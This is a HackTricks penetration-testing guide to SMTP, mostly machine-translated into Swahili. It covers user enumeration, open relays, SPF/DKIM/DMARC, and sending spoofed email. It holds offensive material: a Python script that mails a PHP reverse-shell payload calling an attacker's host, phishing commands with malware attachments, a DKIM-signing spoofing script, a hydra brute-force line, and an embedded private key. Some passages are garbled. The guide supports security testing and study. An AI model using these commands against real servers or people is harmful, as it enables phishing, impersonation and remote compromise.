hacktricks/network-services-pentesting/pentesting-smtp
2024-11-12 12:22:46 +00:00
..
README.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:53:18 +00:00
smtp-commands.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:53:18 +00:00
smtp-smuggling.md Translated ['binary-exploitation/format-strings/README.md', 'binary-expl 2024-11-12 12:22:46 +00:00

25,465,587 - Pentesting SMTP/s

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu

Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara. Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Taarifa za Msingi

Protokali ya Uhamishaji Barua Rahisi (SMTP) ni protokali inayotumika ndani ya seti ya TCP/IP kwa kutuma na kupokea barua pepe. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumiwa pamoja na POP3 au IMAP. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara.

Katika mazoezi, ni kawaida kwa programu za barua pepe kutumia SMTP kutuma barua pepe, wakati zinatumia POP3 au IMAP kupokea hizo. Kwenye mifumo inayotegemea Unix, sendmail inajitokeza kama seva ya SMTP inayotumika mara nyingi kwa madhumuni ya barua pepe. Kifurushi cha kibiashara kinachojulikana kama Sendmail kinajumuisha seva ya POP3. Zaidi ya hayo, Microsoft Exchange inatoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3.

Bandari ya kawaida: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

Ikiwa una fursa ya kumfanya mwathirika akutumie barua pepe (kupitia fomu ya mawasiliano ya tovuti kwa mfano), fanya hivyo kwa sababu unaweza kujifunza kuhusu topolojia ya ndani ya mwathirika kwa kuangalia vichwa vya barua pepe.

Pia unaweza kupata barua pepe kutoka kwa seva ya SMTP ukijaribu kutuma kwa seva hiyo barua pepe kwa anwani isiyopo (kwa sababu seva itatuma kwa mshambuliaji barua ya NDN). Lakini, hakikisha unatumia anwani iliyoidhinishwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN.

Unapaswa pia kujaribu kutuma maudhui tofauti kwa sababu unaweza kupata habari za kuvutia zaidi kwenye vichwa kama: X-Virus-Scanned: by av.domain.com
Unapaswa kutuma faili ya mtihani ya EICAR.
Kugundua AV kunaweza kukuwezesha kutumia vulnerabilities zilizo maarufu.

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Kupata seva za MX za shirika

dig +short mx google.com

Uhesabuzi

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Ufichuzi wa taarifa

Ikiwa seva inasaidia NTLM auth (Windows) unaweza kupata taarifa nyeti (matoleo). Maelezo zaidi hapa.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Au automate hii kwa kutumia nmap plugin smtp-ntlm-info.nse

Jina la seva ya ndani - Ufichuzi wa taarifa

Seva zingine za SMTP hujaza kiotomatiki anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifichua jina lake la ndani:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Angalia kama unaweza kunasa nywila kutoka kwa pakiti za bandari 25

Auth bruteforce

Username Bruteforce Enumeration

Uthibitishaji sio lazima kila wakati

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Zana za kiotomatiki

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu

Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida. Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Ripoti za DSN

Ripoti za Arifa ya Hali ya Uwasilishaji: Ikiwa unatumia barua pepe kwa shirika kwa anwani isiyo sahihi, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma barua kwako. Vichwa vya barua pepe iliyorejeshwa vitakuwa na habari nyeti zinazoweza kuwepo (kama anwani ya IP ya huduma za barua pepe zilizoshirikiana na ripoti au habari za programu ya kupambana na virusi).

Amri

Kutuma Barua Pepe kutoka kwa konso ya linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Kutuma Barua Pepe kwa Python

Msimbo wa Python hapa ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTP Smuggling

Ushirikiano wa SMTP Smuggling uliruhusu kupita kupitia ulinzi wote wa SMTP (angalia sehemu inayofuata kwa maelezo zaidi kuhusu ulinzi). Kwa maelezo zaidi kuhusu SMTP Smuggling angalia:

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## Hatua za Kupambana na Mail Spoofing

Mashirika yanazuia kutumwa kwa barua pepe zisizoidhinishwa kwa niaba yao kwa kutumia **SPF**, **DKIM**, na **DMARC** kutokana na urahisi wa kudanganya ujumbe wa SMTP.

**mwongozo kamili wa hatua hizi** unapatikana kwenye [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

{% hint style="danger" %}
SPF [ilikuwa "imeondolewa" mwaka 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Hii inamaanisha kwamba badala ya kuunda **rekodi ya TXT** katika `_spf.domain.com` unaiunda katika `domain.com` ukitumia **sintaksia sawa**.\
Zaidi ya hayo, ili kutumia tena rekodi za awali za spf ni kawaida kupata kitu kama `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}

**Muundo wa Sera ya Mtumaji** (SPF) ni mekanizma inayowezesha Wakala wa Uhamishaji Barua (MTAs) kuthibitisha ikiwa mwenyeji anayesambaza barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua zilizoidhinishwa zilizofafanuliwa na mashirika. Orodha hii, ambayo inaelezea anwani za IP/mipango, majina ya domain, na vitu vingine **vilivyoidhinishwa kutuma barua pepe kwa niaba ya jina la domain**, inajumuisha "**Mekanizma**" mbalimbali katika rekodi ya SPF.

#### Mekanizma

Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Mekanizma | Maelezo                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Inalingana kila wakati; inatumika kwa matokeo ya kawaida kama `-all` kwa IP zote ambazo hazijalingana na mekanizma za awali.                                                                                                                                                                                                                                  |
| A         | Ikiwa jina la domain lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa hadi anwani ya mtumaji, italingana.                                                                                                                                                                                                                   |
| IP4       | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv4, lingana.                                                                                                                                                                                                                                                                              |
| IP6       | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv6, lingana.                                                                                                                                                                                                                                                                              |
| MX        | Ikiwa jina la domain lina rekodi ya MX inayotatua hadi anwani ya mtumaji, italingana (yaani, barua inatoka kwenye moja ya seva za barua za kuingia za domain hiyo).                                                                                                                                                                          |
| PTR       | Ikiwa jina la domain (rekodi ya PTR) kwa anwani ya mteja iko katika jina la domain lililotolewa na jina hilo linatatuliwa hadi anwani ya mteja (DNS ya nyuma iliyothibitishwa), lingana. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana.                                                                                     |
| EXISTS    | Ikiwa jina la domain lililotolewa linatatuliwa hadi anwani yoyote, lingana (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama maswali ya DNSBL.                                                                                                                           |
| INCLUDE   | Inarejelea sera ya jina la domain lingine. Ikiwa sera ya jina hilo inapita, mekanizma hii inapita. Hata hivyo, ikiwa sera iliyojumuishwa inashindwa, usindikaji unaendelea. Ili kuhamasisha kabisa kwa sera ya jina la domain lingine, kiambatisho cha kuhamasisha kinapaswa kutumika.                                                                                     |
| REDIRECT  | <p>Kuhamasisha ni kiashiria cha jina la domain lingine ambalo lina sera ya SPF, inaruhusu majina mengi ya domain kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya majina ya domain yanayoshiriki miundombinu sawa ya barua pepe.</p><p>Sera ya SPF ya jina la domain lililoonyeshwa katika Mekanizma ya kuhamasisha itatumika.</p> |

Pia inawezekana kubaini **Wakadiriaji** ambao huonyesha **kitu kinachopaswa kufanywa ikiwa mekanizma imefanikiwa**. Kwa kawaida, **wakadiriaji "+"** hutumika (hivyo ikiwa mekanizma yoyote imefanikiwa, hiyo inamaanisha inaruhusiwa).\
Kwa kawaida utaona **mwishoni mwa sera ya kila SPF** kitu kama: **\~all** au **-all**. Hii inatumika kuonyesha kwamba **ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.**

#### Wakadiriaji

Kila mekanizma ndani ya sera inaweza kuanzishwa na mmoja wa wakadiriaji wanne ili kufafanua matokeo yanayokusudiwa:

* **`+`**: Inalingana na matokeo ya PASS. Kwa kawaida, mekanizma zinachukulia wakadiriaji huu, na kufanya `+mx` kuwa sawa na `mx`.
* **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum).
* **`~`**: Inamaanisha SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zinawekwa alama ipasavyo.
* **`-`**: Inamaanisha FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja.

Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumlishwa kwa sera za SPF kutoka majina tofauti ya domain ndani ya sera ya kwanza ya SPF:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. Sasa, if email comes from a domain without a valid SPF record is probably going to be rejected/marked as untrusted automatically.

To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name.

For instance, to request the key, the domain name and selector are essential. These can be found in the mail header DKIM-Signature, e.g., d=gmail.com;s=20120113.

A command to fetch this information might look like:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC inaboresha usalama wa barua pepe kwa kujenga juu ya protokali za SPF na DKIM. Inabainisha sera zinazongoza seva za barua katika kushughulikia barua pepe kutoka kwa kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia kushindwa kwa uthibitisho na wapi kutuma ripoti kuhusu vitendo vya usindikaji wa barua pepe.

Ili kupata rekodi ya DMARC, unahitaji kuuliza subdomain _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC tags

Tag Name Purpose Sample
v Protocol version v=DMARC1
pct Percentage of messages subjected to filtering pct=20
ruf Reporting URI for forensic reports ruf=mailto:authfail@example.com
rua Reporting URI of aggregate reports rua=mailto:aggrep@example.com
p Policy for organizational domain p=quarantine
sp Policy for subdomains of the OD sp=reject
adkim Alignment mode for DKIM adkim=s
aspf Alignment mode for SPF aspf=r

What about Subdomains?

From here.
Unahitaji kuwa na rekodi za SPF tofauti kwa kila subdomain unayotaka kutuma barua kutoka.
Ifuatayo ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri kwa aina hii ya mambo.

Swali la Demon: Je, kuhusu subdomains?

Ikiwa napokea barua kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je, ni lazima nirudi ngazi moja na kujaribu SPF kwa demon.co.uk? Hapana. Kila subdomain katika Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera zao. Haitawezekana kwa sera ya Demon kutumika kwa wateja wote kwa default; ikiwa Demon inataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain.

Hivyo ushauri kwa wachapishaji wa SPF ni huu: unapaswa kuongeza rekodi ya SPF kwa kila subdomain au jina la mwenyeji ambalo lina rekodi ya A au MX.

Tovuti zenye rekodi za A au MX za wildcard pia zinapaswa kuwa na rekodi ya SPF ya wildcard, ya aina: * IN TXT "v=spf1 -all"

Hii ina maana - subdomain inaweza kuwa katika eneo tofauti kijiografia na kuwa na ufafanuzi wa SPF tofauti sana.

Open Relay

Wakati barua pepe zinatumwa, kuhakikisha hazipatikani kama spam ni muhimu. Hii mara nyingi inafanikiwa kupitia matumizi ya server ya relay ambayo inatumiwa na mpokeaji. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi wanaweza kuwa hawajui kikamilifu ni mifumo ya IP ipi ni salama kuruhusu. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha server ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama.

Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaowezekana au wanaoendelea, ni kuruhusu muunganisho kutoka anwani yoyote ya IP. Hii inafanywa kwa kuunda parameter ya mynetworks ya server ya SMTP ili kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini:

mynetworks = 0.0.0.0/0

Ili kuangalia ikiwa seva ya barua ni relay wazi (ambayo inamaanisha inaweza kupeleka barua pepe kutoka chanzo chochote cha nje), zana ya nmap hutumika mara nyingi. Inajumuisha skripti maalum iliyoundwa kupima hili. Amri ya kufanya skana ya kina kwenye seva (kwa mfano, ikiwa na IP 10.10.10.10) kwenye bandari ya 25 kwa kutumia nmap ni:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Tools

Tuma Barua Pepe ya Kughushi

Au unaweza kutumia chombo:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Ikiwa unapata kosa lolote ukitumia katika dkim python lib kuchambua funguo, jisikie huru kutumia hii ifuatayo.
KUMBUKA: Hii ni suluhisho chafu tu kufanya ukaguzi wa haraka katika hali ambapo kwa sababu fulani funguo ya faragha ya openssl haiwezi kuchambuliwa na dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Au unaweza kufanya hivyo kwa mikono:

{% tabs %} {% tab title="PHP" %}

# Hii itatuma ujumbe usio na saini
mail("your_email@gmail.com", "Kichwa cha Jaribio!", "hey! Hii ni jaribio", "Kutoka: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

More info

Pata maelezo zaidi kuhusu ulinzi hizi katika https://seanthegeek.net/459/demystifying-dmarc/

Other phishing indicators

  • Umri wa domain
  • Viungo vinavyoelekeza kwenye anwani za IP
  • Mbinu za manipulering viungo
  • Viambatisho vya kushangaza (visivyo vya kawaida)
  • Maudhui ya barua pepe yaliyovunjika
  • Thamani zinazotumika ambazo ni tofauti na zile za vichwa vya barua
  • Uwepo wa cheti halali na kinachoaminika cha SSL
  • Kuwasilisha ukurasa kwa tovuti za kuchuja maudhui ya wavuti

Exfiltration through SMTP

Ikiwa unaweza kutuma data kupitia SMTP soma hii.

Config file

Postfix

Kawaida, ikiwa imewekwa, katika /etc/postfix/master.cf ina scripts za kutekeleza wakati kwa mfano barua mpya inapopokelewa na mtumiaji. Kwa mfano, mstari flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} unamaanisha kwamba /etc/postfix/filtering itatekelezwa ikiwa barua mpya inapokelewa na mtumiaji mark.

Other config files:

sendmail.cf
submit.cf

References

HackTricks Amri za Otomatiki

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu

Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida. Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}